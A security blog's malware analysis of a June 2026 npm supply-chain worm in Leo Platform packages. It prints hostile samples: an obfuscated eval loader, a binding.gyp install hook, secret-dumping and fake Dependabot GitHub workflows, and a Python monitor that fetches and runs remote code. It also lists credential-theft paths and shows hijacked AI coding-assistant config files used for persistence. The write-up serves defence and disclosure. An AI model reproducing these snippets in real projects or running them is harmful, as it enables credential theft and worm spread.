By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

Shai-Hulud Strikes Leo Platform npm

On June 24, 2026, an attacker used a stolen npm token belonging to maintainer czirker to publish 23 poisoned versions across the Leo Platform JavaScript ecosystem in a six-second burst. Each package ships a 5 MB obfuscated worm in index.js, triggers it through a preconfigured binding.gyp file with no lifecycle scripts, repoints the latest dist-tag away from clean 7.x releases, unpacks thirteen embedded secondary tools, and steals cloud credentials, password managers, Anthropic API keys, and masked GitHub Actions secrets before exfiltrating them through a GitHub staging-repo factory, commit dead drops, and multi-registry worm propagation.

Written by
Kiran Raj
Kiran Raj
Published on
June 25, 2026
Updated on
June 25, 2026
Topics

On June 24, 2026, an attacker used a stolen npm token belonging to maintainer czirker to publish 23 poisoned versions across the Leo Platform JavaScript ecosystem in a six-second burst. Each package ships a 5 MB obfuscated worm in index.js, triggers it through a preconfigured binding.gyp file with no lifecycle scripts, repoints the latest dist-tag away from clean 7.x releases, unpacks thirteen embedded secondary tools, and steals cloud credentials, password managers, Anthropic API keys, and masked GitHub Actions secrets before exfiltrating them through a GitHub staging-repo factory, commit dead drops, and multi-registry worm propagation.

Overview

Leo Platform (leoplatform.io) is a streaming data pipeline used by CommerceHub and related e-commerce integrations. Its npm packages (leo-sdk, leo-aws, leo-cli, and 20 siblings) accumulated roughly 52,640 monthly downloads before the compromise.

At 23:04:52–23:04:58 UTC on June 24, 2026, all 23 packages under maintainer czirker received new versions within a six-second window. None of the poisoned releases contain a preinstall, install, or postinstall script in package.json. Static analysis confirms the attacker instead added a binding.gyp that executes node index.js during native addon compilation, and replaced each package's index.js (normally ~10 KB) with a 5.18 MB obfuscated payload.

The most dangerous supply-chain detail is dist-tag manipulation: leo-sdk's latest tag now resolves to malicious 6.0.19, while the legitimate 7.1.21 release remains available only under the awsv3 tag. Any project running npm install leo-sdk without an explicit version pin received the worm.

Organizations that installed any affected version should rotate npm, GitHub, cloud, Vault, RubyGems, PyPI, and Anthropic credentials immediately, audit repositories for injected GitHub Actions workflows, hunt for new public repos whose description reads Alright Lets See If This Works, and inspect AI-assistant hook files under .claude/, .cursor/, .vscode/, and .github/copilot-instructions.md.

Affected Packages

Package Version
leo-sdk 6.0.19
leo-aws 2.0.4
leo-cli 3.0.3
leo-auth 4.0.6
leo-connector-mysql 3.0.3
leo-connector-mongo 3.0.8
leo-connector-elasticsearch 2.0.6
leo-connector-redshift 3.0.6
leo-connector-oracle 2.0.1
leo-logger 1.0.8
leo-streams 2.0.1
leo-cache 1.0.2
leo-config 1.1.1
leo-cron 2.0.2
serverless-leo 3.0.14
serverless-convention 2.0.4
solo-nav 1.0.1
rstreams-metrics 2.0.2
rstreams-shard-util 1.0.1
leo-cdk-lib 0.0.2
leo-connector-common 4.0.11-rc
leo-connector-postgres 4.0.19-beta
leo-connector-entity-table 3.0.22-rc

All 23 malicious versions share the same publish timestamp cluster (2026-06-24T23:04:52–58Z) and the same maintainer account (czirker, CZirker@commercehub.com). Clean leo-sdk releases in the 7.x line (7.1.17 through 7.1.21, last published June 12, 2026) were not modified. Only the latest dist-tag was redirected.

How the Attack Works

End-to-end chain

Static deobfuscation of leo-sdk@6.0.19 maps to six operational stages shared across all 23 poisoned packages.

  • Stage 0: binding.gyp + index.js ROT(N) → install-time / require-time entry point
  • Stage 1: AES-128-GCM _b blob (907 B) → Bun v1.3.13 bootstrap
  • Stage 2: AES-128-GCM _p blob (781 KB) → obfuscator.io stealer + L8-encrypted strings
  • Stage 3: vJ() orchestrator → harvest → exfil → worm modules
  • Stage 4: B1() embedded payloads (×13) → c6.py, GitHub workflows, IDE hooks
  • Stage 5: four GitHub paths → staging repos, victim-repo worm, dead drops, signed RCE
  • Stage 6: c6.py + l6.sh → firedalazer commit monitor + OS persistence
  • Stage 6b: firedalazer commit → setup.py → downloads second-stage index.js (l3v1cs)

Trigger chain

The infection uses two independent execution paths. Neither path appears in package.json scripts, which is why scanners that only inspect lifecycle hooks miss it.

  • Path A (install-time): npm install leo-sdk@6.0.19 → binding.gyp present → node-gyp rebuild → shell runs node index.js
  • Path B (require-time): the application later calls require('leo-sdk') → the index.js ROT-eval IIFE fires on import
  • Both paths converge: AES-128-GCM decrypt _b + _p blobs → write /tmp/p<random>.js, bun run, self-delete → vJ(): harvest → U8 exfil → G4 worm → eQ/c6 persistence

Stage 0: the loader

leo-sdk@6.0.19/index.js is 5,188,098 bytes. The clean leo-sdk@7.1.21/index.js is 10,245 bytes. The malicious file is a single line starting with a ROT cipher wrapper:

try {
  eval(function(s, n) {
    return s.replace(/[a-zA-Z]/g, function(c) {
      var b = c <= "Z" ? 65 : 97;
      return String.fromCharCode((c.charCodeAt(0) - b + n) % 26 + b)
    })
  }([40, 99, 117, 97, 112, 101, ...].map(String.fromCharCode).join(""), 24))
} catch (e) {}

The rotation constant differs per package (N=24 for leo-sdk, N=23 for leo-aws), but both decode to the same 1,566,023-byte intermediate layer. That layer contains an AES-128-GCM wrapper with two encrypted blobs: a 907-byte Bun bootstrap (_b) and a 781,580-byte main stealer (_p). The bootstrap writes the main script to /tmp/p<random>.js, executes it with bun run, and deletes the temp file.

The poisoned package.json also adds a fake runtime dependency not present in clean releases:

"bun": "^1.3.13"

Clean leo-sdk@7.1.21 has no bun entry in dependencies.

Stage 0b: binding.gyp install hook (no scripts required)

Every poisoned package ships this binding.gyp:

{
  "targets": [{
    "target_name": "nothing",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }]
}

When npm encounters binding.gyp in a package root, it invokes node-gyp rebuild during install. The <!(...)> syntax runs a shell command at compile time. Here that command executes the entire 5 MB index.js payload and redirects output to /dev/null. Clean Leo Platform packages do not ship a binding.gyp file at all.

This technique fires even when package.json contains zero lifecycle scripts, evading rule sets that only flag preinstall/postinstall entries. It also bypasses npm install --ignore-scripts, which suppresses lifecycle hooks but not node-gyp rebuild when binding.gyp is present.

A second path fires on require('leo-sdk'): the ROT IIFE at the top of index.js executes at module load even if node-gyp never ran. Both paths converge on the same AES decrypt → Bun bootstrap chain.

Cross-package consistency. All 23 poisoned packages decode to the same 1,566,023-byte intermediate layer and the same 781,580-byte final stealer (_p). Only the outer ROT constant differs (N=24 for leo-sdk, N=23 for leo-aws). leo-aws@2.0.4/index.js is 5,285,405 bytes, same payload, different wrapper.

Stage 1: Bun bootstrap

The decrypted _b blob installs globalThis.getBunPath(), which caches a Bun v1.3.13 binary under $TMPDIR/b-*/bun or downloads it from https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-<os>-<arch>.zip. The architecture matches every Shai-Hulud wave since September 2025.

Stage 2: AES decryption and obfuscated stealer

Inside the ROT layer, an async IIFE imports node:crypto and decrypts two hex-encoded AES-128-GCM blobs via function _d():

Blob Size leo-sdk key leo-sdk IV leo-sdk tag
_b 907 B 52ce5f888ae9c8a033a8afa65444ce32 e11eb9805f9694073b1a2013 1c5bee61257ffa2fb08b988b5b655588
_p 781,580 B 61ad313303f4080bf9e8e20fb7e9b0a5 999b89e15b8610fa109b6c8d 6f57d026d5339121141efd5704d09605

The _p blob expands through obfuscator.io string rotation (offset 351, bootstrap sum target 0x7b727 = 505,639 string-array entries) and a custom L8 cipher:

Parameter Value
PBKDF2 passwordc047714f760182164470130b9c8a07167a4c18ca6da8f0c906e350271551a181
PBKDF2 saltf8145a117fbb79c6cf4494a3c9f52348
PBKDF2 iterations200,000
Derived key length32 bytes (AES-256)
Cipher rounds3

Sensitive strings (C2 markers, API endpoints, file paths) pass through globalThis.fb12914b2, which wraps the custom L8 cipher. Key operational strings recovered from the decoded stealer layer:

Symbol Plaintext Role
A4RevokeAndItGoesKaboomCommit-search marker; exfil commit prefix
L8 @0x8e0Alright Lets See If This WorksStaging repo description in J3()
t6TheBeautifulSandsOfTimeSigned RCE commit-search marker
mJthebeautifulmarchoftimePrior-wave holdover; unused in leo-sdk
X9bd8035203526735490e4bd5cdcede581b9d3a3f7a5df7725859844d8dcc8eb49AES key decrypting PAT in exfil commits
FWchore: update dependenciesVictim-repo worm commit camouflage
@0x248Add files.Default staging-repo exfil commit
@0xab2results-Exfil JSON filename prefix under results/
w1index.jsFilename injected into poisoned repos
eWpackages, libs, apps, pluginsMonorepo dirs scanned for package.json names

Plaintext grep of the obfuscated bundle misses these strings because they are L8-encrypted at rest. The sibling l3v1cs/Html-Bootstrap-TinDog build uses the same toolchain with different AES keys; its _p blob was not fully decrypted in this session (ROT layer only, N=14).

Stage 3: main orchestrator (vJ())

The stealer entry point calls vJ() at module load. The function runs this sequence:

  1. H3(), normalize proxy environment variables for exfil routing across CI platforms.
  2. W2() / V3(), enumerate credential providers (AWS, Azure, GCP, GitHub Actions OIDC, GitLab, Vault, npm tokens).
  3. U3(), build outbound exfil senders; for GitHub this resolves to class U8 via k6.tryCreate().
  4. q5(), fire-and-forget search for TheBeautifulSandsOfTime commits, RSA-verify with embedded i6.pem, eval() signed JavaScript.
  5. Y3(), dispatch harvested credentials through the sender pipeline (U8.send() → commitToRepo()).
  6. rX() / aX(), assemble and parallel-execute action modules.

If the primary path throws, fallback module set V6() always runs: rQ (recon), eQ (deploys c6.py), X6 (IDE hooks), r4 (npm worm), Q6 (GitHub Actions OIDC → PAT exchange).

Credential harvest classes (parallel collectors invoked from W2() / V3() / rX()):

Class Role Internal logic
C6Host fingerprintRuns execSync for cloud instance ID (IMDS-style probe), resolves hostname/username, dumps full process.env into exfil envelope
D6Filesystem sweepPlatform-specific glob lists (LINUX/OSX/WIN) over 70+ credential paths; skips decoy AWS keys; 10 MB per-file read cap
v6GHA memory scrapeLinux GHA runners only; finds Runner.Worker PID, injects p6.py with __PID__ replaced, dumps /proc/{pid}/mem

Stage 4: thirteen embedded payloads (B1())

Each payload: B1(l8_decode(key), base64_ciphertext) → AES-128-GCM → gzip decompress. The thirteen extracted payloads:

File Size OX label Function
c6.py8,078 Bhulud_py_m5.pyGitHub commit monitor; searches firedalazer, RSA-verifies firestorm URLs
M0.js1,391 Bworm .pth bodyPyPI propagation: finds _index.js, bootstraps Bun via .bun_ran marker
p6.py635 Bmem_dump_linux_y5.py/proc/{pid}/maps + /proc/{pid}/mem reader; __PID__ replaced by v6
d6.yml / a6.yml~480 Bgithub_actions_workflow_IY.ymlWorkflow Run Copilot — dumps secrets to artifact
K8.py*5,456 B.claude/setup.mjsNode Bun installer (v1.3.14); downloads Bun, runs repo index.js
l6.sh2,149 Bkitty_monitor_installer_v5.shsystemd/launchd persistence for c6.py commit monitor
n6.sh3,449 Btoken_monitor__5.shGitHub PAT watcher; eval handler on HTTP 401/403
i6.pem800 Bverify_key_h5.pemRSA public key for TheBeautifulSandsOfTime verification
o6.pem800 Bexfil_encryption_key__5.pemRSA public key for hybrid exfil envelope encryption
F8.json220 Bclaude_settings_K1.jsonClaude Code SessionStart → node .github/setup.js
s6.json217 Bvscode_tasks_k5.jsonVS Code runOn: folderOpen → node .claude/setup.mjs
r6.sh3,246 Bbash_loader_SY.shBash Bun bootstrap → exec ai_init.js

\*Content is Node ESM despite .py extension in the embedded variable name.

The worm injects IDE hooks from this set into victim repositories:

var KW = [
  { path: ".vscode/tasks.json",      content: s6 },
  { path: ".claude/" + w1,           content: '' },   // empty index.js placeholder
  { path: ".claude/settings.json",    content: F8 },
  { path: ".claude/setup.mjs",       content: K8 },
  { path: ".vscode/setup.mjs",        content: K8 },
];

Embedded workflow d6.yml exfiltrates all repository secrets to a GitHub Actions artifact (triggered on deployment events):

name: Run Copilot
env:
  VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
  - run: echo "$VARIABLE_STORE" > format-results.txt
  - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f

Stage 5: four parallel GitHub paths

The payload implements four distinct GitHub behaviors. Conflating them causes missed detections.

  • Call chain: vJ() → U3(harvested credentials) → k6.tryCreate()
  • configureGit() → PAT from harvest (ghp_ / GITHUB_TOKEN)
  • setupGitHubSender() → new U8()
  • U8.initialize() → J3(): POST /user/repos (staging-repo factory)
  • U8.send() → commitToRepo(): PUT results/*.json

Path A, Staging repo factory (U8 / J3 / TJ). When a stolen PAT has repo scope, U8.initialize() calls J3() which posts to /user/repos:

body: JSON.stringify({
  name: TJ(),                    // infernal-persephone-52335
  private: false,
  auto_init: true,
  description: fb12914b2(lookup(0x8e0)),  // "Alright Lets See If This Works"
  has_discussions: false,
  has_issues: false,
  has_wiki: false,
})

TJ() naming. Picks one word from each L8 list plus random integer 0–99999:

  • q3 adjectives: stygian, tartarean, erebean, infernal, chthonic, cimmerian, thanatic, funereal, …
  • G3 figures: cerberus, charon, tartarus, erebus, persephone, acheron, styx, phlegethon, cocytus, …

GitHub's auto_init creates the README with the description as body text, this is why live repos show # infernal-persephone-52335 followed by Alright Lets See If This Works in the README without any separate README edit. U8.commitToRepo() uploads stolen JSON to results/results-{timestamp}-{counter}.json. Commit message is RevokeAndItGoesKaboom:{base64_pat} when a token is embedded, otherwise Add files. Payloads over 30 MB split into results-*.json.p1, .p2, …

GitHub search returned 461 repos with this description on June 25, 2026, nearly all under services-admin-pearhealthlabs (PearHealth Labs service account, GitHub org ID 165099819). infernal-persephone-52335 was created 2026-06-25T10:07:29Z with Initial commit followed by Add files. three seconds later. Older repos cimmerian-acheron-94081 (commit b857bf1, 2026-06-24T09:39Z) and thanatic-phlegethon-58543 (commit 92e317f, 2026-06-24T09:33Z) use the same description but exfil commits with RevokeAndItGoesKaboom:… instead.

Path B, Victim-repo worm (G4). Class G4 modifies existing repositories the token can write to. It injects:

  • .github/setup.js and .github/workflows/ (Dependabot disguise + Run Copilot secrets dump)
  • .cursor/rules/setup.mdc, .cursorrules
  • .claude/settings.json, .claude/setup.mjs, empty .claude/index.js
  • .vscode/tasks.json, .vscode/setup.mjs
  • .gemini/settings.json, .github/copilot-instructions.md
  • Updates to Makefile and root package.json (monorepo scan via eW dirs: packages, libs, apps, plugins)

Commits use message chore: update dependencies, author github-actions@github.com, and a skip-checks:true trailer. G4 does not modify README.md or set repo descriptions, that behavior is exclusive to Path A.

Path C, PAT recovery dead drop (V5 / A4). The stealer searches public commits for RevokeAndItGoesKaboom:{base64}, decrypts embedded PATs with AES key X9, and selects the token with best API rate-limit headroom (requires ≥200 remaining). This closes the loop: one victim's exfil commit becomes the next victim's publishing token. First dead-drop commits appeared ~13 hours before the npm burst (2026-06-24T09:33–09:39Z vs 23:04Z).

Path D, Signed RCE (q5 / W5 / t6). Async function q5() searches commits for TheBeautifulSandsOfTime, verifies RSA signatures against i6.pem, and eval() the message body. Verification regex in g3():

/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/

The intentional typo snadsoftime (search uses TheBeautifulSandsOfTime, extract uses lowercase typo) evades naive YARA. mJ (thebeautifulmarchoftime) is declared but never called in leo-sdk, a prior-wave holdover.

Exfiltration into existing repos also uses GitHub GraphQL (BatchedCreateCommitOnBranch, pushChunked, pushBatched) with hybrid encryption: JSON → gzip → AES session key → RSA-OAEP wrap with o6.pem.

Stage 6: persistence and the firedalazer → setup.py chain

This stage is separate from the main JavaScript exfil thread. Module eQ (in the V6() fallback set) deploys a long-running Python monitor that polls GitHub for operator commands and downloads a remote setup.py stager.

Step 6a, deploy c6.py and install persistence. Class eQ skips execution if EDR processes are detected (p0()). Otherwise it writes embedded c6.py to a temp directory, spawns python3 -s -- c6.py, and pipes embedded l6.sh on stdin. Script l6.sh registers a systemd unit (Linux) or launchd plist (macOS) so the monitor survives reboot.

Step 6b, poll GitHub for firedalazer. Every hour (POLL_INTERVAL_SECONDS = 3600), c6.py calls the GitHub commit search API:

GET https://api.github.com/search/commits?q=firedalazer&sort=committer-date&order=desc&per_page=1

Step 6c, parse and verify the command. Commit messages must match:

firestorm <base64_url>.<base64_rsa_signature>

The monitor base64-decodes the URL, RSA-verifies the signature against an embedded public key (PSS-SHA256), and deduplicates executed URLs via state file /var/tmp/.gh_update_state.

COMMAND_PATTERN = r"firestorm\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"

def process_latest_commit(self):
    commits = self._search_github_commits()          # q=firedalazer
    parsed = self._parse_commit_message(commit_msg)
    url = base64.b64decode(parsed["url_b64"]).decode("utf-8")
    if self._verify_signature(...):
        self._download_and_execute(url)

Step 6d, download and run setup.py. _download_and_execute() fetches the decoded URL with requests.get, writes the response body to a temp .py file, and runs python3 on it. This is how the worm pulls down the next stage without hardcoding a C2 domain in the npm payload.

Live infrastructure documented during analysis (IOC only, not executed):

Step Artifact
Commit search keywordfiredalazer
Staging commit hostmiaxxxxxx/stygian-phlegethon-11195
Commit body formatfiredalazer firestorm <b64_url>.<b64_sig>
Decoded URL (example)raw.githubusercontent.com/l3v1cs/Html-Bootstrap-TinDog/e027c6ea4c8042c4778dc4f392bf5f94a3c6310d/setup.py
Payload host repol3v1cs/Html-Bootstrap-TinDog
Second-stage JS.../cb6699faacade9775d3d83059d6ba6a756755193/index.js (~780 KB)

Step 6e, setup.py fetches second-stage JavaScript. The downloaded setup.py is a PyPI-style dropper: at install/runtime it fetches a remote index.js from the same GitHub repository (l3v1cs/Html-Bootstrap-TinDog). That index.js is another Shai-Hulud build using the same ROT → AES-128-GCM _b/_p wrapper, but with different keys and rotation constant (N=14 vs N=24 in leo-sdk). Static analysis of the fetched file confirmed the familiar obfuscated stealer structure (~780 KB) without executing it.

The Leo Platform npm wave embeds the c6.py monitor inside the main payload via eQ, so a single npm install leo-sdk@6.0.19 can trigger both the immediate JavaScript stealer (Stages 0–5) and the persistent Python stager that later downloads setup.py.

  • eQ.execute(): writes c6.py, runs python3 c6.py (pipes l6.sh on stdin → systemd/launchd persistence)
  • c6.py hourly poll loop: search commits for firedalazer → parse firestorm <b64_url>.<b64_sig> → RSA verify → GET url
  • Fetch + chain: setup.py (l3v1cs/Html-Bootstrap-TinDog) → download index.js → ROT(14) → AES _p → second stealer instance

Persistence paths written by l6.sh / n6.sh:

  • ~/.local/share/updater/update.py
  • ~/.local/bin/gh-token-monitor.sh
  • /var/tmp/.gh_update_state

Stage 5b: multi-registry worm propagation

After credential harvest, modules r4 and Q6 republish poisoned packages on npm, RubyGems, and PyPI:

Ecosystem Mechanism
npmHarvest NPM_TOKEN → enumerate maintainer packages → republish poisoned tarballs with index.js + binding.gyp
RubyGemsSteal rubygems_api_key → enumerate gems → upload poisoned gems
PyPIMint OIDC token (GHA context) → upload wheel via upload.pypi.org/legacy/

PyPI propagation uses M0.js as an inline .pth bootstrap. Poisoned PyPI wheels can receive Sigstore signatures via fulcio.sigstore.dev / rekor.sigstore.dev with SLSA provenance headers (slsa.dev/provenance/v1, in-toto.io/Statement/v1) for plausible provenance metadata.

The worm also injects a fake Dependabot workflow into victim repos:

name: Dependabot Updates
run-name: Dependabot Updates
steps:
  - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
  - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
    with:
      run: bun run _index.js

What the payload steals: seven exfiltration channels

The stealer runs collectors beyond baseline GitHub/npm/AWS theft. Channels operate in parallel and feed into U8.send() / GraphQL exfil:

Priority Channel Mechanism
1GitHub dead dropRevokeAndItGoesKaboom commits + staging repo factory (U8)
2GCP Secret ManagerOAuth cloud-platform scope → enumerate projects → list/read all secrets
3Anthropic API keysANTHROPIC_API_KEY env + ~/.claude.json, MCP configs
4Password managers1Password, Bitwarden (+ unlock), Vault mount paths
5GHA masked secretsv6.dumpMemory() via /proc/{pid}/mem on Linux runners
6Filesystem sweepD6 glob over 70+ credential paths
7Worm propagationnpm / RubyGems / PyPI republish with embedded payload

Cloud provider credentials cover AWS (including IMDSv2 at 169.254.169.254, ECS at 169.254.170.2, and web-identity tokens), Azure (tenant/client secrets, federated tokens, Key Vault via management.azure.com, scopes vault.azure.net/.default), and GCP (service account keys, workload identity, instance metadata at metadata.google.internal, ADC at ~/.config/gcloud/application_default_credentials.json).

GitHub token harvest. Patterns: ghp_, gho_, github_pat_, github_pat_11A. Environment: GITHUB_TOKEN, GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_RUN_ID, GITHUB_REF, GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY_ID, GITHUB_REPOSITORY_OWNER_ID, GITHUB_RUN_ATTEMPT, GITHUB_EVENT_NAME, ACTIONS_ID_TOKEN_*.

Kubernetes / Vault. Service account token at /var/run/secrets/kubernetes.io/serviceaccount/token; Vault token paths include /home/runner/.vault-token, /run/secrets/VAULT_TOKEN, /vault/token, /.vault-token; auth endpoints /v1/auth/kubernetes/login, http://127.0.0.1:8200.

GCP Secret Manager scraping (new in this wave). After obtaining a cloud-platform OAuth scope, the payload enumerates projects through cloudresourcemanager.googleapis.com/v1/projects, lists secrets via secretmanager.googleapis.com/v1/projects/{id}/secrets, and reads each secret's latest version. Requests spoof the legitimate header google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0.

Anthropic API key theft (new in this wave). The stealer reads ANTHROPIC_API_KEY from the environment and scans ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, and ~/.claude/mcp.json. Target endpoint api.anthropic.com (L8 index 0x865). This targets developers who use Claude Code alongside Leo Platform infrastructure code.

Password manager collection. Dedicated functions harvest 1Password (collectOnePassword), Bitwarden (collectBitwarden, unlockBitwarden), and HashiCorp Vault mount paths (collectFromMount, listMounts against /v1/sys/mounts).

GitHub Actions masked-secret recovery. Class v6 finds the Runner.Worker process on Linux GHA runners, then dumpMemory() pipes embedded p6.py (with PID substituted) to read /proc/{pid}/mem, extracting secrets that GitHub Actions masks in workflow logs ("isSecret":true entries in runner process JSON). Log redaction does not protect values still resident in the runner's address space.

Filesystem sweep (D6). Platform-specific glob lists target 70+ credential paths including ~/.aws/*, ~/.ssh/id_*, ~/.kube/config, ~/.npmrc, ~/.pypirc, ~/.terraform.d/credentials.tfrc.json, ~/.config/gcloud/*, .env variants, VPN configs, cryptocurrency keystores (~/.ethereum/keystore/*, ~/.monero/*), messaging apps (Signal, Telegram, Discord, Slack), and shell history (~/.bash_history, ~/.zsh_history). Decoy filters skip AKIAIOSFODNN7EXAMPLE and strings containing fake, decoy, honeypot.

Embedded SSH key blob. L8 index 0x55a contains a ~4 KB base64 blob decoding to an encrypted RSA private key, likely for SSH-based exfiltration or lateral movement via /tmp/.sshu- temp sockets (purpose not fully traced statically).

AI coding assistant persistence. The worm modifies project files to re-execute on every IDE session:

File Tool
.claude/settings.json + .claude/setup.mjsClaude Code
.gemini/settings.jsonGemini CLI
.vscode/tasks.json + .vscode/setup.mjsVS Code
.cursor/rules/setup.mdcCursor
.cursorrulesCursor (legacy)
.github/copilot-instructions.mdGitHub Copilot

Hook payloads chain through dropped installers: Claude SessionStart runs node .github/setup.js; VS Code folderOpen runs node .claude/setup.mjs; injected workflows run bun run _index.js. K8/setup.mjs downloads Bun 1.3.14 if needed, then executes the repo worm payload, ensuring reinfection when a developer opens the repository in any supported AI editor.

Detection evasion

The payload aborts when it detects StepSecurity analysis sandboxes (harden-runner, stepsecurity.io, repository actions-security-demo/compromised-packages). Class v6.detectHardenRunner() also triggers early exit via R1(). It writes decoy credentials (ghp_decoyGitHubToken, npm_F4k3NPMToken, sk-ant-api03-fake, AKIAFAKE) into staging repos to poison automated scanners. Exfiltration commits use benign-sounding messages and spoofed github-actions authorship. A date filter ignores repository activity before 2026-01-01T00:00:00Z. EDR process detection in p0() skips eQ/D6/v6 execution when security tools are present.

Indicators of Compromise

Actionable indicators for detection rules and threat hunting. Legitimate service endpoints the malware calls (GCP APIs, PyPI, npm registry, Anthropic) are omitted, they generate high false-positive rates and belong in behavioral analytics, not static IOC feeds.

Type Value
Malicious packagesleo-sdk@6.0.19, leo-aws@2.0.4, leo-cli@3.0.3, leo-auth@4.0.6, leo-logger@1.0.8 (+ 18 siblings)
Install hookbinding.gyp containing node index.js > /dev/null
Commit-search markerRevokeAndItGoesKaboom
Commit-search markerfiredalazer
Commit body patternfirestorm <base64_url>.<base64_signature>
Signed RCE markerTheBeautifulSandsOfTime / regex thebeautifulsnadsoftime
Repo descriptionAlright Lets See If This Works
Repo descriptionHades - The End for the Damned
Exfil commit (no token)Add files.
Attacker GitHub accountl3v1cs
Attacker GitHub accountmiaxxxxxx
Attacker repol3v1cs/Html-Bootstrap-TinDog
Attacker repomiaxxxxxx/stygian-phlegethon-11195
Staging payload URLraw.githubusercontent.com/l3v1cs/Html-Bootstrap-TinDog/e027c6ea4c8042c4778dc4f392bf5f94a3c6310d/setup.py
Dropped file.github/setup.js
Dropped file.cursor/rules/setup.mdc
Persistence path~/.local/share/updater/update.py
Persistence path~/.local/bin/gh-token-monitor.sh
Persistence path/var/tmp/.gh_update_state
RSA public key (i6.pem)MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAut0YWEh9/gZIsSoF6feF
RSA public key (o6.pem)MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwtmpAkLxoe3q3BxHOLPE

Mitigation

  • Pin Leo Platform packages to known-clean versions. For leo-sdk, use 7.1.21 (tag awsv3) or an explicit 7.x pin. Do not rely on the latest tag.
  • Rotate npm tokens for all maintainers on the Leo Platform scope, especially czirker and zirkerc.
  • Rotate GitHub PATs, PyPI tokens, RubyGems keys, AWS/Azure/GCP credentials, Vault tokens, and Anthropic API keys on any host that ran npm install against these packages.
  • Hunt repositories for binding.gyp files containing node index.js, workflows named Dependabot Updates or Run Copilot with pinned SHAs de0fac2e or 0c5077e51419868618aeaa5fe8019c62421857d6, commits containing skip-checks:true, and AI hook files under .cursor/, .claude/, or .vscode/.
  • Search GitHub org repos for commit messages starting with RevokeAndItGoesKaboom:, repository descriptions containing Alright Lets See If This Works or Hades - The End for the Damned, and unexpected public repos matching {greek-adjective}-{greek-name}-{5digits}.
  • Check CI runner filesystem for persistence paths: ~/.local/share/updater/update.py, ~/.local/bin/gh-token-monitor.sh, /var/tmp/.gh_update_state.

Conclusion

Shai-Hulud is not a one-off incident, it is a campaign that keeps coming back. The same operators and the same core toolchain have surfaced across at least three waves in two months. Each iteration keeps the load-bearing machinery intact - Bun bootstrap, AES-128-GCM _b/_p wrapper, GitHub commit-search C2, Greek-underworld repo naming, oven-sh/setup-bun workflow injection, multi-registry propagation - and rotates only the surface: a fresh C2 marker (TheBeautifulSandsOfTime, then DontRevokeOrItGoesBoom, now RevokeAndItGoesKaboom), a new ecosystem, and a few new capabilities bolted on.